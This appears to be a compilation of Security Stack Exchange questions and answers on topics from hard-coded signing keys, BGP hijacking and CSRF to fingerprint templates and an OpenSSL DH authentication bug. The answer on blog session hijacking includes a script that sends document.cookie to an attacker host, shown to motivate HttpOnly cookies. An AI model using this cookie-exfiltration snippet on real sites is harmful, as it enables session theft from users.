Using a Common Private Key for Digital Signatures I have a mobile application and a server.  The mobile application communicates with the server through a web services framework via SSL.

The mobile application allows customers to pay for transactions.  The server authenticates the mobile application on every web service call via a username, password, device id and digital signature.

The device id ensures that the mobile account is being accessed from the device that was used to create the account.  Therefore, a hacker requires physical access to the smartphone, even if he knows the username and password of a mobile account.

The digital signature is computed using a private key which is hard-coded inside the mobile application.  Every message sent from the mobile application is accompanied with a digital signature computed using this private key.  This ensures that the message is coming from the mobile application and that the contents of the message were not altered while in transit.

What would be the consequences if this private key was discovered?  Will a hacker be able to modify information that is being transmitted via SSL and still recompute a valid digital signature using this private key?  Would it be better if the mobile application generates a public-private key pair and send the public key to the server, or would this be unneccessary?  Thank you so much.

The device id ensures that the mobile account is being accessed from the device that was used to create the account.

I stop you right there. This does not, and cannot work, at least with stock hardware. From the server, you may receive a message claiming to originate from a device with a specific ID, but this in no way proves that the said device was really involved in the operation.

The fundamental reason for this is that the potential attacker can know, by definition, everything that is not secret, and basic hardware contains no secret -- especially hardware that the attacker has access to.

The username and password do not authenticate the device or the application; they authenticate the user. If the user is the potential attacker, then this name and password won't stop him in any way: he knows them, there again by definition. The same goes for a private key embedded in the application code: the attacker can extract it through rather simple reverse engineering, and therefore such a signature proves nothing at all.

To have some real device authentication, you need heavy artillery, including some tamper-resistant hardware elements that you will not find, or be able to use, in existing smartphones.

All of the above is for the security model where the user is the attacker. In that model, the user wants to access your server, but not from "your" app; instead, the user wants to use his own special client code, which allows him to do some operations that are formally forbidden. This is the security model of most online games: the "attacker" is a game player who wishes to obtain some advantage through a modified client application, for instance by displaying the positions of the other players, known to the client application in order to maintain the game dynamics, but normally not displayed. See the Wikipedia page for some other examples.

The bottom-line is that this security model cannot be maintained in the long run, although some mitigation measures can be applied to keep the nuisance to a low level, at least as long as what is at stake does not have a great value.

You might want to use another security model where the user is not the attacker, but a potential victim, and you want to protect the user data, his requests to your server and the responses, from malicious alterations from the outside.

In that model, SSL is sufficient. That's what SSL was designed for, and it works. A signature from a private key hardcoded in the application code brings no extra safety: since every instance of the app contains the private key, it must be assumed that the attacker already has it. Assuming that the attacker can break through the SSL, then it is easy for him to recompute the signature on the altered data. Fortunately, breaking through the SSL is far from trivial.

One way to state it is that a private key which is copied into thousands of application instances, on thousands of mobile phones, cannot be really private. But once it is public, it no longer has any value; a private key is worth only as much as it is private.

Then there is a third security model in which the attacker is again the user, but with a distinct goal. Instead of trying to run a modified application (e.g. an application which follows the protocol but leaks some extra information), he tries to send fake, altered requests to the server. In that model, a signature can be useful, if you force the attacker to sign every request. With the user name and password, your server already knows which user it is talking to. A signature on the request (and not a session key, as occurs e.g. in SSL with certificate-based client authentication) can potentially be turned into a convincing proof that could be shown to a judge, if things go legal.

For this to work, you must not use one shared private key, but one key per user. It also requires that you can demonstrate that your server could never have obtained a copy of the private key of a user; otherwise, there is no proof. This is a complex issue, and note that I used the word "potentially": legal matters depend on the jurisdiction and cannot be reduced to simple technical tools.

Summary: SSL, when used correctly, protects data in transit against alterations and eavesdropping by outsiders. An extra signature with a shared private key does not bring any additional benefit.

To protect against a modified client, and/or to authenticate the client device (as opposed to the human user), a signature with a shared private key does not help either. For that, you would need some extra client-side hardware. It may be possible to change the context by trying to make the user responsible for what he sends, but for this, again, a signature with a shared private key won't work.


OAuth2 Client Credentials & Native Apps The OAuth2 spec seems to consider native (Android & iOS) apps as "public clients", ultimately meaning that they can't use the "client credentials" flow. That being said, how does one go about requiring authentication on endpoints that expose client-owned (as opposed to user-owned) resources?

In my scenario I'm developing a REST API that exposes a few endpoints that do not need user authentication but which I'd prefer not to leave "open" (i.e., I'd like to require some form of authentication to prevent abuse). Presently I'm using the "client credentials" flow with an empty password, but I feel this is a violation of the protocol. Am I doing things wrong?

OAuth2 with "client credentials" without a password in your scenario sounds fine. This allows you to add additional more secured oauth based grant-types in the future.

I would recommend to look at adding controls for abuse - by throttling requests. This would protect against Denial of Service attacks, limit number of connections over a period of time (using quotas), or limit number of concurrent connections (rate limits). This kind of protection is typically done by using API gateways like a127 or volos.


IP Spoofing a threat? We have an internal intranet system which is only accessible from a few internal VLANs. Our main external firewall blocks all access to the internal webserver – or rather, has no rules to allow access!

We have 100's of branches out in the UK that sit on a private network, most have VPNs to head office & access our intranet that way, there are however instances where we can’t arrange a VPN (politics, costing, resources etc) & we are considering opening our internal webserver to the internet with strict firewall rules to only allow traffic from the static IP's of the branches in question (let’s call this the whitelist).

Everyone knows that IP spoofing exists, and it's bordering on easy when you're on the same subnet. Can an IP be spoofed over the internet in a way that would make our internal webserver accessible from IP's not matching the branch whitelist?

To clarify, I know it's possible to spoof an IP over the internet, but I’ve never seen examples of 2-way communication, i.e. the webserver would try sending packets back to the faked IP, not the IP of the person faking the IP. So, is spoofing really a threat for our scenario?

The term to search for is "BGP hijacking".

The risk is low but non-zero. If an attacker can find a sufficiently sloppy ISP they can advertise their own route for the IP range block containing your clients IP. With sufficient sophistication they may even be able to set things up so they hijack the traffic from HQ to branch and then return most of it to the branch.

Now finding a sufficiently sloppy ISP may be difficult and the loophole is likely to be closed once the bogus route is discovered but there is certainly a window of opportunity there.


Why is secp521r1 no longer supported in Chrome, others? Found a few issue threads, notably for Chrome (Chromium issue #478225), and the browser does appear to have dropped support for the secp521r1 curve (can test your browser using SSLLabs). There were other issue threads for other software packages that also claim that the curve will not be supported as of certain releases earlier this year.

I do not recall reading about any cryptographic issues or deprecation of this curve, so wondering why this change occurred. I did not see any conclusion on that issue thread pertaining to Chrome.

The main culprit is NSA Suite B -- or, rather, people who read that document as something that it is not. NSA Suite B says that NSA uses curves P-256 and P-384. Some people have chosen to interpret that as "don't use any other curve". P-521 (aka "secp521r1") is not one of these curves, hence its removal.

There is nothing wrong with P-521, except that it is, in practice, useless. Arguably, P-384 is also useless, because the more efficient P-256 curve already provides security that cannot be broken through accumulation of computing power (see this answer for a discussion on that subject). Yet people and even NSA uses P-384, which goes a long way to show that the choice of what elliptic curve to use in a given cryptographic protocol is not fully a matter of pure rational logic and security assessment. People who are in the position to decide whether a given curve is acceptable or not will make choices based on their perception of how their choices will be perceived by other people who themselves are not necessarily the most logical of thinkers (or not at least perceived to be such).


Is loss of conversation history inherent to end-to-end encryption? The Wire web app can relatively easily lose conversation history completely when the browser's storage gets deleted or corrupted. The history is also not displayed (though unclear if it's lost or just kept from the user) when the user logs in from a new device.

When asked to warn users specifically about this data loss, a Wire developer stated that,

  History loss due to storage loss in inherit with end-to-end encryption

Is this claim correct? (I assume they meant "History loss due to storage loss is inherent with end-to-end encryption".) Can't the server store the conversation history encrypted at rest, deliver it to the client on request, which will be able to decrypt it using the private key? After all, that's how E2E email services like Protonmail seem to work.

No, loss off message history isn't inherent to end to end encryption, but it's inherent to forward secrecy.

It might be either the Wire developer conflating between e2e and FS, or they consider FS to be a crucial component of e2e, which is not entirely unreasonable viewpoint but is not one that's common.


Any comments or advice on OWASP-2013 top 10 number A9 In this iteration of the OWASP top 10 application security vulnerabilities list (https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project), a new category 'A9 Using Components with Known Vulnerabilities' has been introduced. This appears to require the investigation of all libraries and imported code in any application to ensure compliance.

I have a number of clients who, because of their PCI-DSS audit requirements, use the OWASP top 10 to ensure the security of their own software platforms for those portions of their code base written to process credit card payments.
With this new set of requirements it would appear that they would have to find/list all of their imported libraries (Perl modules from CPAN in one instance, and Java libs in another) and go through them line by line - probably a million lines of someone else's code!.

This can't be practical or, probably, very useful! Can OWASP seriously be suggesting that those organisations that write their own applications, importing common libraries, have to review all third-party library code?

Has anyone else come across this problem, and how do you think I can deal with this?

In a formal review of an application's security, all libraries should be vetted for security defects.   However,  this is not the point of OWASP-2013 A9.  The core of OWASP-2013 A9 is about having a policies in place to ensure that an application isn't compromised due to negligence.   OWASP states the following:

Identify all components and the versions you are using, including
all dependencies. (e.g., the versions plugin).
Monitor the security of these components in public databases,
project mailing lists, and security mailing lists, and keep them up
    to date.
Establish security policies governing component use, such as
requiring certain software development practices, passing security
    tests, and acceptable licenses.
Where appropriate, consider adding security wrappers around
components to disable unused functionality and/ or secure weak or
    vulnerable aspects of the component.

Number 2 is the most important.  If you are dependent on a library or platform,  these components need to be updated regularly.  Internally there should be a cycle to review all components and versions,  and ensure that these are fully updated.  A monthly cycle to review these components would be ideal.

In short number 4 is requiring strong validation of input to untrusted libraries.  If a library hasn't been fully tested for security defects then data passed to this library must be validated.  It is a very good security practice to do this for all input.  An example of this is using an OWASP ESAPI validation routine for all input.  So if it is an email address,  it should match a regex for email addresses.


IPv4, IPv6 and firewall Say I have a server running some version of Linux and I give this server an IPv4 address of 10.1.1.1

Now using my network firewall I NAT this IP to some public IP address and I block all incoming traffic to that IP except ports 80 and 443.

Furthermore I have an iptables firewall on the server which also blocks all incoming connections except ports 80 and 443 and I run a web server on that machine. Additionally I allow connections from the local network to 22 and say 3306 (mysqld).

Now all of this is based on IPv4. However by default when I create a network interface the server will also give it an (to me frankly cryptic) IPv6 address.

My question is does the above now present a security risk? I.e. do I have a giant whole because IPv6 is running, has an address and is not at all filtered?

Since I don't see any reason to actually use IPv6 here my tendency would be to simply disable the protocol (and thus also relieve myself of the burden of having to do something about my ignorance thereof, at least for now...). But is this necessary? Discouraged?

IPv6 aside, you have asked: "I have an unused protocol enabled and active on my system without any technical controls around it. Does the situation pose a security risk?" The answer is very short: yes.

Is it a "giant hole"? No, but a hole. Is it a risk? Maybe. But the fact that you cannot quantify the risk means that you should turn it off until you can.

Will there be potential unexpected usability issues? Maybe. But that's not a security question.


Why are static password requirements used so frequently? Wouldn't it be smarter to measure password entropy and reject low entropy passwords?

This would allow short passwords using the whole character set to pass, aswell as long passwords only using parts of the character set.

Is the above scheme possible or do implementation details prevent something like this to be done?

Does any site or programm already incorporate such password requirements?

After the famous XKCD strip, there were a few projects started up to deal with exactly this kind of entropy checking. One of these was the ZXCVBN password checker, made by a Dropbox employee.

It is possibly the most thorough password checker of its kind. It checks for patterns, words, and more, adding to (or subtracting from) an entropy score accordingly. It is explained in detail on their blog.


This application is not using CSRF token but they are still able to protect sensitive actions on the site This application is not using any CSRF token and not even cookies to identify users on their server. All they do is use a authorization header to identify users. Since an attacker doesn't know value of this header he can't send cross site requests unlike in case of cookies, where they are automatically send along with the request.
I've never seen something like this but this is interesting for me because instead of using cookies, they used a header to authenticate users. This do two things with just one implementation. It authenticates users and also prevents against CSRF attacks (since headers are not send automatically in cross site requests like cookies)
How the question, is there any way to still bypass this way implementation?

How the question, is there any way to still bypass this way implementation?

As you've already said, it is a good protection against CSRF since the Authorization header is a) unknown and b) is not sent cross-origin.
These properties are no longer true though if the attacker finds a XSS in the original site, since then it might be either possible to extract the Authorization information or to misuse existing code in the site to send requests controlled by the attacker but same-origin. But XSS is also a problem with classic CSRF protection, so this is not a new attack vector specific for this kind of protection.


Should we store meeting minutes on an iPad? Being employed in the infosec field I would like to set a good example. However I also do not believe in sweating the small stuff and would like to maximize my productivity. My current workplace, while piloting byo devices, iPads etc does not yet have an enterprise iPad solution. I have a personal iPad that I would like to use to take minutes of meetings and to brainstorm via mindmaps. At previous places where this was not frowned upon, I have found it significantly better than writing on a physical pad because:

I can read what I wrote 6 months later and forces me to take clear notes
I won't lose the data as opposed to old notebooks
It is a lot easier to copy paste and refer to older information
It is a lot easier to email rather than typing up notes afterwords
Using a native mindmap app lets me take better notes and make better assosiations than dooldling on a notepad

These benefits must apply to others also as I have seen other employees in meetings and even senior staff do the same.

On the risk side:

This is personal rather than corporate device, therefore it is against policy (although one of many that is only enforced when/if there is an incident)
It is not enterprise managed and the data is not backed up, archived by my company nor can it be deleted by them
The data and backups maybe stored in the cloud without enterprise acceptable controls and outside their acceptable physical jurisdictions
There is no guarantee that I will not document confidential information, nor email it via clear text mail
Capturing information electronically arguably makes it easier to compromise and expose to risk e.g. email

My mitigation's:

The iPad has a reasonable level of security, it has a complex password, under my physical control, encrypted backups and set to wipe after 10 failed attempts - potentially better than a written notepad which is left on desks etc and potentially better than a corporate laptop without full disk encryption
With iCloud there are automated encrypted device backups, document sync is still not encrypted as far as I'm aware.
Intercepting email is arguably the lowest risk associated with email
The information is only valuable in context, i.e. awareness of the meeting background

So what is the right approach here? Do the benefits outweigh the risk? Or should I as a dutiful automaton follow policy and set a good example and continue to develop my writing and doodling skills and await the enterprise solution (I'm assured coming sometime this century)?

I don't believe the solution is to not use your iPad, the benefits are clear. However I do think you need to approach it the right way.

Working on the InfoSec field, I believe you have a responsibility to set a good example. Eat your own dog food.

You need to comply with policy. Is there an exemption process in the policy? This would be the best way to address this, and allows you to formally document the risks you have identified and the mitigations in your exemption request.

As you've identified, be conscious of the sensitivity of information you are recording and storing. Treat the asset as untrusted, or semi-trusted at best. Consider adopting the attitude where you assume anyone can read what you create or store on the iPad. Recording information out of context, and without granular details can help here.

Finally, promote all of the above. When people ask about your use of your iPad within the organisation for work-related purposes, tell them what you've done to mitigate the risks and comply with policy.


Comparison between Firejail and Apparmor I'd like to understand how Apparmor and Firejail compare to each other: advantages, pros and cons, purposes, similarities, etc.

I might be asking to compare apples with oranges, however I've noticed several similarities. Firejail has "profiles", and they contain a list of rules that allow you to define what files an application can use. Apparmor lets you do the same, more or less. However Firejail also lets you define "capabilities", and apparently it tries to isolate the process even if it ever gains root privileges (like it is in a container?). Anyway, I can spot some similarities but I don't know either of them well enough to understand all their features and purposes.

AppArmor could be closer compared to SELinux than FireJail, but here's the differences.

The most important (IMO) is the level at which they run. FireJail runs as a program in userspace while AppArmor runs at the kernel level.

FireJail takes advantage of Linux namespaces to provide isolation on a user, mount, network, and process level. This isolation provides the application it's own sandbox to do whatever it wants in while preventing those changes from effecting the rest of the system. You can think of this being similar to a container like you said. Containers also use namespaces for isolation.

By contrast, AppArmor doesn't provide sandboxing, rather it limits what parts of the system the application can access. You're specifying specific resources an app cannot use. These resources are not isolated though, so two apps running with AppArmor with access to the same resource could interact.


Angular application for PCI-DSS certification I want to design Angular 6 application for PCI-DSS compliance. Is it a good idea to use it having in mind that this is a client-side application with a server back-end? Do you know if there any company which already uses it for applications with high security?

Yes, you can use Angular for a PCI certified/compliant application. I've done work for numerous level 1 PCI certified companies that use it. However, there are some different security concerns than a multi-page application.

You need to make sure that the server side code for your web service is secure, but all that that entails is a bit too much for the scope of this question. OWASP is a very basic place to begin: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project.

If your web service is on another domain, it must whitelist your Angular application's URL for CORS rules: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS. You may also have some strange interoperability between browsers if you have cross domain cookies. Test in all browsers, and ensure it works with strict privacy settings.

In the Angular application itself, first off, you need to make sure you don't persist sensitive information or PII in local storage, session storage, or cookies. Seems obvious: https://auth0.com/docs/tokens/concepts/token-storage#don-t-store-tokens-in-local-storage

You should also keep your session ID, authentication token, or whatever you use to authenticate to the web service in a secure only, HTTP only, strict domain cookie. That means the web service has to give it to the browser as such.

Next, you need to ensure you are handling XSRF. Angular has some built in functionality if you are on the same domain as your web service: https://angular.io/guide/security. There are numerous "gotchas" with that, so you may want to consider creating an interceptor that adds the XSRF to the request header of your API calls that contain user input.

Angular also has a lot of XSS handling built-in, but you should still filter for XSS server side.  A PCI penetration tester is going to require that there is server side protection against XSS and other injection attacks.

Another gotcha that an auditor may bring up is if there's ever sensitive data in the address bar. I've been dinged for that on an audit, because the penetration testers said it could be cached or shoulder surfed.

It can be weird to think about the security of your JavaScript code, because for years we've always been told JavaScript has no security. I think that's what freaks out a lot of more veteran infosec people about it. I had a hard sell to some infosec people, because they weren't thinking about what a single page application really is. If you think of it as a multi-page application that loads only one time, and then only ever makes AJAX calls the transition for them may be a little easier.

Lastly, be sure to keep your framework, libraries, and other dependencies up to date. Check them against known vulnerability databases, and move off of any that are out of security support.


Brute forcing ssh keys My problem is a common one: I deleted my SSH key, and forgot to set rm to point to a .trash file. I have the public key, and I need to get in this server. I am not doing this on anyone else's server. I have enough resources to do it, I just need a program.

If it was possible (with existing technology) to rebuild the private key from the public key, then everybody would be doing it.

Asymmetric algorithms are designed to avoid that. In the case of RSA, rebuilding the private key from the public key is equivalent(*) to integer factorization, which is a hard problem whose difficulty raises quite sharply when the integer size is increased. Current world record for a non-special integer (i.e. a properly generated RSA key) is 768 bits and it took some substantial effort, estimated to about 2000 CPU-year. An important point is that part of the algorithm requires a system with a lot of very fast RAM (we are talking terabytes here), and nobody knows yet how to handle that part with existing technology in the case of a 1024-bit RSA modulus. We have some preliminary designs for specialized hardware which might achieve it, but would cost a lot (not mere millions of dollars) and be rather bulky.

Bottom-line is that you won't succeed in cracking your SSH key, even if you use the best available hardware.

(*) Cracking RSA, as in "computing a forged signature", is not proven equivalent to integer factorization; but rebuilding the private key is equivalent to factoring the modulus.


Prevent session hijack on blog service? I have a service where webmasters can create a website (including the use of javascript).

A user can place a comment on the website of a webmaster.

A user only needs to register and login once and can post comments on all sites with this account. (1 cookie for all subdomains)

How can I prevent a "bad" website getting the cookie with JavaScript (for example the session id)?

After a of bit research: encrypting cookies is a no go, blocking certain javascript function is a no go, binding cookie to ip is a no go.

This becomes a difficult problem, but services like Blogger/Blogspot do it, so it must be possible.

Anyone got a bright idea?

You could set the HttpOnly attribute to stop a webmaster from extracting the cookie via embedding some script:

<script>
new Image().src="//attacker-site.co.uk/"+escape(document.cookie);
</script>

However, they could use other methods of attacking the user such as displaying a login box and asking the user to authenticate when they try to submit a comment, grabbing the user's username and password in the process.

The only way to secure this really is to make sure you teach users to authenticate on your main domain only.

e.g. www.example.com

And have the webmaster sites on another domain.

e.g. mysite1.example.org, mysite2.example.org.

When submitting a comment, each site would make an AJAX request to www.example.com which checks authentication and then saves the comment if authenticated. This would prevent webmasters having access to the cookie, and if they try to ask the user for credentials it will be from another origin (domain) therefore clued-up users should not submit them to the webmaster site.


Under UK data protection act, who is reponsible for ensuring the data is transmitted to the data processor securely Preamble: I'm being reference-checked by a company. This company has asked me to send them my personal details (like NI numbers) via email (unsecured; unencrypted: big no-no). (To avoid side-tracking the question, I contacted the company and we came up with a different method).

I'm aware that the data protection act requires the data to be kept safe. But who's job is it to ensure that it gets there safe? Especially that the information is being requested by them, but the onus is on me to send it? Who's at fault if the data is intercepted?

Is the data my responsibility until it arrives at their system (I think so?), or is it their responsibility to make sure that the data is transferred in a secure manner?

Under my understanding, if I were a company sending someone else's details in this manner, I'm liable. But if I were a company taking bank details over HTTP, it's also on me and not the customer, right?

Short version: If someone asks me for my information, do they have to ensure it is sent to them securely, or do I?

(Again, to avoid derailing the question: I'm looking for the interpretation of people with a stronger background in this issue than me. I'm not looking for legal advice. Future-people reading the question shouldn't interpret answers as legal advice).

Please let me start by saying that I am an IT person not a lawyer. As such, this is my opinion on the matter and cannot be taken as definitive.

As in the comments, the Data Controller is responsible for the data over all. The DC may pass data to others to process and Data Processors have their own responsibilities but the Data Controller cannot devolve their responsibility.

However, in this case, none of that really applies. You are choosing to send your personal data to someone. Once it is with them, they will be Data Controllers not you.

For transmission, the issues are somewhat complex. If the recipient is providing the mechanism for transfer then they have a responsibility to ensure that it is secure and doesn't leak your personal data since they are the DC.

Anyone claiming to keep your data secure who then asks you to transmit it unsecured would already be breaking at least the spirit of the legislation. However, if you are foolish enough not to think about this and you agree to send it anyway, I rather suspect that this would be taken into account if there was a breach.

Thankfully, you clearly have thought about it!

So there is something of a shared responsibility to begin with and then the organisation holding your data becomes a Data Controller and has responsibility.

For banking, there is a lot more than the DP act to take into account as that is a far more regulated industry. If a bank creates a financial system for you as a customer and fails to secure it properly, the responsibility in the UK at least will certainly fall on them not you. As a customer, you cannot be expected to understand the technical issues around cyber security. Customer protections in banking are excellent in the UK and you would most certainly get back any money lost & could expect to have expenses covered for any identity theft.


Is it safe to store and transmit fingerprint templates in ANSI or ISO formats in cleartext format? I working on a setup where I'm getting users to scan their fingers for fingerprint at a local machine but, the templates are stored at a centralized server for efficiency reasons.

Since the verification SDK resides at the local machine, the server needs to send the template from database to the local machine for the SDK to match them.

I was wondering if this is a safe approach and if the fp templates are security sensitive information? All in all, the question boils down to the following statement, "Can ISO/ANSI fingerprint template formats be used to recreate fingerprints electronically or otherwise?"

Relevant paper: Reconstruction of Fingerprints from Minutiae
Points

This is not a safe approach! You should encrypt your data and/or use another biometric template protection scheme. For an example, see a technical report of the Indian Aadhaar system, where it is described how they handle it (e.g. on page 47).

Depending on your jurisdition, biometric information may be considered as sensitive. For example, in the EU under GDPR, biometric data is classified under "special categories of personal data" (previously "sensitive personal data").

Furthermore, as you indicated, it may be possible to reconstruct a the phase information of a fingerprint from its minutiae. See e.g. study 1, study 2, study 3. Other studies (see e.g. study) showed that it may be possible to infer gender from fingerprint minutiae. Those are obviously potential breaches of privacy. It is also a security vulnerability, as a reconstructed fingerprint could be used to create a presentation attack instrument (e.g. a gummy finger) and used to circumvent the system by an attacker.

Additionally, by sending your data in plaintext, your system may be vulnerable to man-in-the-middle and replay attacks. So, in conclusion: Do not send your data in plaintext!

Lastly:

  the server needs to send the template from database to the local machine for the SDK to match them

This is a very poor design decision as it makes possible a potential attack vector. If an attacker gains the control of the local machine with the SDK, they could repeatedly issue queries to the server/database for different subjects -- thereby exposing their sensitive information! Depending on the jurisdiction, it may also not be legally allowed for the biometric data to be transmitted outside the enrolment server/database.


Is it possible to fake the data sent to an analytics server? Let's assume I have a google analytics server tracking the users on my website. Is it possible, for a user to send fake data through the analytics? To be clear, I'm not asking whether we can detect bots that generate fake data. I'm asking if a user can fake the actions they take on my website?
For example, if I was tracking 5 objects on a page, and a user clicked on them in the order a>b>c>d>e, is it possible that they fake the data such that I observe something else?

Yes, it's possible. The analytics server is just a common server receiving browser requests. Any user savvy enough to use Developer Tools on his browser can see the network requests and replicate them as they want.

The server usually will not validate if the browser or a script is sending data. The costs to implement hardened analytics is not worth it.


malware - How to listen to and close malicious ports? I have a Windows 8.1 machine that seems to be acting weird and getting slow day by day. I believe that it may be a victim of Remote access Trojan(RAT) infection.

How do I listen to ports on my PC and how do I close them if necessary ?

How do I deduce that a port is associated with a RAT and how do I close it ? Will netstat be of any use in this respect ?

First of all, you should check that your firewall is enabled in Windows. Make sure it doesn't have any weird exceptions listed in it. Secondly, install and run antivirus scanner(s) for the entire system. You can run 'netstat -aon' from command prompt to see all "listening" ports. Also check from task manager if you have any weird processes running with SYSTEM privileges, even something benign sounding like "notepad.exe".
Although, if the perp has infected you with a rootkit, everything may look just normal and you cannot find anything suspicious using above methods. In that case you could only use traffic monitoring and analysis to detect any anomalies in it.


OpenSSL vulnerability CVE-2015-0205 I can't seem to make any sense out of the following vulnerability in OpenSSL:

DH client certificates accepted without verification [Server] (CVE-2015-0205)
=============================================================================

Severity: Low

An OpenSSL server will accept a DH certificate for client authentication
without the certificate verify message. This effectively allows a client
to authenticate without the use of a private key. This only affects servers
which trust a client certificate authority which issues certificates
containing DH keys: these are extremely rare and hardly ever encountered.

This issue affects OpenSSL versions: 1.0.1 and 1.0.0.

OpenSSL 1.0.1 users should upgrade to 1.0.1k.
OpenSSL 1.0.0 users should upgrade to 1.0.0p.

This issue was reported to OpenSSL on 22nd October 2014 by Karthikeyan
Bhargavan of the PROSECCO team at INRIA. The fix was developed by Stephen
Henson of the OpenSSL core team.

The reason why the above does not make sense is that when a DH certificate is used by the client, the client is not expected to send a Certificate Verify message, a per RFC 5246, section 7.4.8:

  This message is used to provide explicit verification of a client
  certificate.  This message is only sent following a client
  certificate that has signing capability (i.e., all certificates
  except those containing fixed Diffie-Hellman parameters).

And here is what RFC 5246, section F.1.1.3 says:

  When Diffie-Hellman key exchange is used, the server can either
  supply a certificate containing fixed Diffie-Hellman parameters or
  use the server key exchange message to send a set of temporary
  Diffie-Hellman parameters signed with a DSA or RSA certificate.
  Temporary parameters are hashed with the hello.random values before
  signing to ensure that attackers do not replay old parameters.  In
  either case, the client can verify the certificate or signature to
  ensure that the parameters belong to the server.

  If the client has a certificate containing fixed Diffie-Hellman
  parameters, its certificate contains the information required to
  complete the key exchange.  Note that in this case the client and
  server will generate the same Diffie-Hellman result (i.e.,
  pre_master_secret) every time they communicate.  To prevent the
  pre_master_secret from staying in memory any longer than necessary,
  it should be converted into the master_secret as soon as possible.
  Client Diffie-Hellman parameters must be compatible with those
  supplied by the server for the key exchange to work.

Moreover, I fail to see how one could impersonate the client (i.e. compute the pre_master_secret) without knowing the client's secret key.

I can see how a bug in OpenSSL could allow an attacker to bypass authentication, for example if OpenSSL would accept DH parameters in the Client Key Exchange message, i.e. if OpenSSL did not properly enforce this part of RFC 5246, section 7.4.7:

  When the client is using an ephemeral Diffie-Hellman exponent,
  then this message contains the client's Diffie-Hellman public
  value.  If the client is sending a certificate containing a static
  DH exponent (i.e., it is doing fixed_dh client authentication),
  then this message MUST be sent but MUST be empty.

But the fix does not support this interpretation. Indeed, it appears to require a Certificate Verify message!

Can anyone make sense of this?

In the end, the following hypothesis from my question above proved to be true:

  I can see how a bug in OpenSSL could allow an attacker to bypass
  authentication, for example if OpenSSL would accept DH parameters in
  the Client Key Exchange message, i.e. if OpenSSL did not properly
  enforce this part of RFC 5246, section 7.4.7

This code comes from the ssl3_get_client_key_exchange() function in OpenSSL:

https://github.com/openssl/openssl/blob/474e469bbd056aebcf7e7d3207ef820f2faed4ce/ssl/s3_srvr.c#L2325

if (n == 0L) {
  /* Get pubkey from cert */
  EVP_PKEY *clkey = X509_get_pubkey(s->session->peer);
  if (clkey) {
    if (EVP_PKEY_cmp_parameters(clkey, skey) == 1)
      dh_clnt = EVP_PKEY_get1_DH(clkey);
  }
  if (dh_clnt == NULL) {
    al = SSL_AD_HANDSHAKE_FAILURE;
    SSLerr(SSL_F_SSL3_GET_CLIENT_KEY_EXCHANGE,
    SSL_R_MISSING_TMP_DH_KEY);
    goto f_err;
  }
  EVP_PKEY_free(clkey);
  pub = dh_clnt->pub_key;
} else
  pub = BN_bin2bn(p, i, NULL);
if (pub == NULL) {
  SSLerr(SSL_F_SSL3_GET_CLIENT_KEY_EXCHANGE, SSL_R_BN_LIB);
  goto err;
}

The above code does not prevent the client (or a MITM) to provide at the same time a DH certificate and DH parameters in the Client Key Exchange message. When the message is not empty, the public key is read from the message:

} else
  pub = BN_bin2bn(p, i, NULL);

Thus an attacker could provide a certificate and perform the DH key exchange using another public key than the one in the certificate!

For some reason, the OpenSSL developers choose not to require an empty Client Key Exchange message when the client provides a DH cert. (Even though this is required by the RFC.)

The reason why the fix from the OpenSSL team does not break client authentication with DH certs is the ssl3_get_cert_verify() function is not called if ssl3_get_client_key_exchange() read the key from the certificate. The logic is somewhat convoluted but... well, it works!


Does Google Global Cache let the ISP intercept encrypted requests to Google? I've recently noticed that most of my activity with Google and its services goes through a local Google Global Cache server set up by our ISP. Since I don't fully trust the ISP, this has become a big concern for me.

Is it possible for the provider to read the encrypted requests that pass through GGC, thus getting access to my mail, documents, search queries and perhaps even password?

As described here:

  Once registered and qualified by Google, we will send you a simple agreement for joining the GGC program. After you have electronically signed this agreement, Google will ship you servers that you install in your facility and attach to your network. Google will work with you to configure the servers and bring them into service.

Emphasis is mine. What this means is that your ISP can potentially inspect all the Google queries that the GGC is supposed to cache -- but this entails "opening" some tangible servers shipped by Google themselves. I suppose this would be a flagrant breach of the contractual agreement between the ISP and Google, so chances are that your ISP won't do that. Unless Google agrees, of course. Even if your local Law enforcement agencies insist on eavesdropping on you, it is probable that Google will be involved.


how to rememeber passwords securely? Imagine you have a private RSA-key on your computer encrypted (through PBKDF2, AES-CTR, HMAC256) with a password, now if the user would like to tick "Remember Password", what is the most secure way to save/remembmer the password? Obviously it's not storing it in plaintext in the local directory.

One option would be to use:

the HardwareID of the computer
the SID of the current user
the windows built-in EncryptFile (needs to be logged in as the same account)

Problem is that all of those informations can be compromised when you use the Utilman.exe Trick for example.

An alternative would be obfuscation, but we know that isn't really a solution for the long term.

Is there a proper solution for this or is this just bad practice?

Ultimately, if the machine can use the saved password without specific human intervention, then... it can use it. This means that an attacker who gains full control of the machine (either an hostile software hijack with Administrator/root privileges, or he grabs the laptop and runs for it) will be able to recover the password. On a theoretical basis, if you want to resist such an attacker, then you need the password to never make it to the machine RAM itself; you need some tamper-resistant component which does all the processing. This is the model of smart cards and payment terminals, which have physical shielding and actively destroy sensitive data in case of physical breach; and they have no notion of "root user" accessible to the actual human user either.

At best you can hope to slow the attacker down. Yet, there still are management methods which are better than others. For instance, when you store some sensitive secret value, you want to avoid letting leak to the backups, or at least with some specific protection. Similarly, the user may want to integrate such storage within a bigger secret management solution, e.g. a "password safe" with a master password, or things like that. Your best bet, then, it to rely on OS-provided services for storage of sensitive data. On Windows systems, this points to DPAPI. On Mac OS X, use Keychain. As usual, the software which is easiest to design and implement and deploy is software which has already been designed, implemented and deployed by somebody else. Thus, don't try to do more or less smart things on your side; just let the OS do its work.


What are the drawbacks of non-PKI or distributed Key Management systems? I just came across the Milagro project which seems to be solving some of the limitations introduced by PKI (centralized trust authorities with single point of failure hard-to-revoke root keys, using X.509 for identity) by introducing "key fractions" handed out by distributed authorities.

Though this seems scalable, how is trust bootstrapped in a non-PKI system? What are some drawbacks with this type of implementation?

It simply is only a part of what a full Certicate sytem can do. If all you need is a strong encryption system, that ok. If you want to make sure that you are connected to the same service you used yesterday (or last week, or ...) it is ok.

If a server wants to make sure that the user asking for a document is the one that deposited it, or one that was explicitely given the ability to retrieve it, it is ok too.

But if an administrative authority wants to be sure that the guy asking for a birth certificate or any other confidential information is Mr. X, something or someone must certify that this particular key has indeed be given to Mr. X, and that the identity of Mr. X was thoroughly controlled with a physical presentation of Mr. X itself with his identity card or driving license. That part cannot exists without a trusted authority.

